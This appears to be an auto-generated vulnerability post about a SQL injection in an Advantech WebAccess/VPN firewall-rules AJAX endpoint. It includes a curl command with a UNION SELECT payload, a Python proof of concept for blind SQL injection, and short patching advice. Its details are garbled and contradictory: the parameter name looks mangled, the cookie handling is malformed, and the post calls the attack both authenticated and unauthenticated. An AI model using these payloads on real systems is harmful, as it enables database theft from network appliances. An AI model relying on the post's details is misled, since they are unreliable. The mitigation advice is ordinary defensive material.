Listen to this Post
The vulnerability exists within the `ajaxDeviceFwRulesAction()` method of the AjaxFwRulesController. This endpoint, designed to return firewall rule data for devices in a tabular format, accepts user-controlled parameters for sorting, filtering, and searching via DataTables. An authenticated attacker with low-privileged observer access can inject malicious SQL code through the `search
` parameter or other related datatable parameters. The user input is insufficiently sanitized before being concatenated directly into a SQL query string. This allows the attacker to manipulate the query's WHERE clause, potentially extracting sensitive information from the underlying database, such as configuration details or credentials from other tables, by crafting UNION SELECT statements or using blind SQL injection techniques to exfiltrate data. Platform: Advantech WebAccess/VPN Version: < 1.1.5 Vulnerability: SQL Injection Severity: Medium Date: 2025-11-06 <h2 style="color: blue;">Prediction: Patch 2025-12-31</h2> <h2 style="color: blue;">What Undercode Say:</h2> [bash] curl -k -X POST 'https://<target>/ajax/AjaxFwRulesController' \ -H 'Cookie: <low_priv_session>' \ --data 'action=ajaxDeviceFwRulesAction&data[bash][value]='"'"' UNION SELECT 1,2,3,version()-- -'
Simple Python POC to test for boolean-based blind SQLi
import requests
target = "https://target/vpn"
session_cookie = "SESSIONID=abc123"
payload = "' AND (SELECT SUBSTRING(database(),1,1))='a'-- -"
data = {'action':'ajaxDeviceFwRulesAction', 'data[bash][value]': payload}
r = requests.post(target+'/ajax/AjaxFwRulesController', data=data, cookies={"Cookie": session_cookie}, verify=False)
if "recordsTotal" in r.text:
print("Potential boolean-based SQL injection point.")
How Exploit:
Authenticated user submits crafted search parameter to vulnerable AJAX endpoint, extracting database information via UNION queries or time-based blind techniques.
Protection from this CVE:
Update to version 1.1.5. Implement parameterized queries. Enforce strict input validation on all DataTables server-side parameters.
Impact:
Unauthenticated data disclosure. Database information exposure. Potential credential leakage.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
